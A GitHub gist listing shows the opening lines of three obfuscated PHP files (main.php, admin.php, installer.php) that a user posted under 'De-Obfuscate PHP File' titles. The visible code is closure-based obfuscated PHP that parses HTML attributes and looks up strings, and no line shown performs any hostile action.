Skip to content

Instantly share code, notes, and snippets.

View michaelnicholsy's full-sized avatar

michaelnicholsy

View GitHub Profile
@michaelnicholsy
michaelnicholsy / main.php
Created December 4, 2019 14:59
De-Obfuscate PHP File 1 of 3
This file has been truncated, but you can view the full file.
<?php
$O = array(442, function($owB, $slD = array()) use (&$O) {
$owB = preg_replace($O[227](7080), ' ', $owB);
if (preg_match_all('/<[^>]*\\s([^>]*)\\/*>/msiU', $owB, $oo1, PREG_SET_ORDER)) {
foreach ($oo1 as $eEb) {
$Dx9 = $eEb[0];
$oE8 = array();
preg_match_all('/\\s.*=([' . "'" . '"])?.*\\1/msiU', ' ' . $eEb[1], $e6i, PREG_SET_ORDER);
@michaelnicholsy
michaelnicholsy / admin.php
Created December 11, 2019 03:49
De-Obfuscate PHP File 2 of 3
This file has been truncated, but you can view the full file.
<?php
$O = array(function($oVb, $w7d, $l68, $lLS = array()) use (&$O) {
global $w3l;
global $eRb;
global $IO5;
global $smR;
global $Jwl;
global $e09;
global $ji4;
@michaelnicholsy
michaelnicholsy / installer.php
Created December 11, 2019 03:52
De-Obfuscate PHP File 3 of 3
This file has been truncated, but you can view the full file.
<?php
$O = array(function($dLj) use (&$O) {
$Bel = array(3088 => 'last_browser', 4569 => 'AFSXVU7JTSTQGMCN722S', 515 => 'Chad', 1152 => 'TNKYPXUZ8C64R7BWMXRK');
return $Bel[$dLj];
}, function($JSi) use (&$O) {
global $S0d;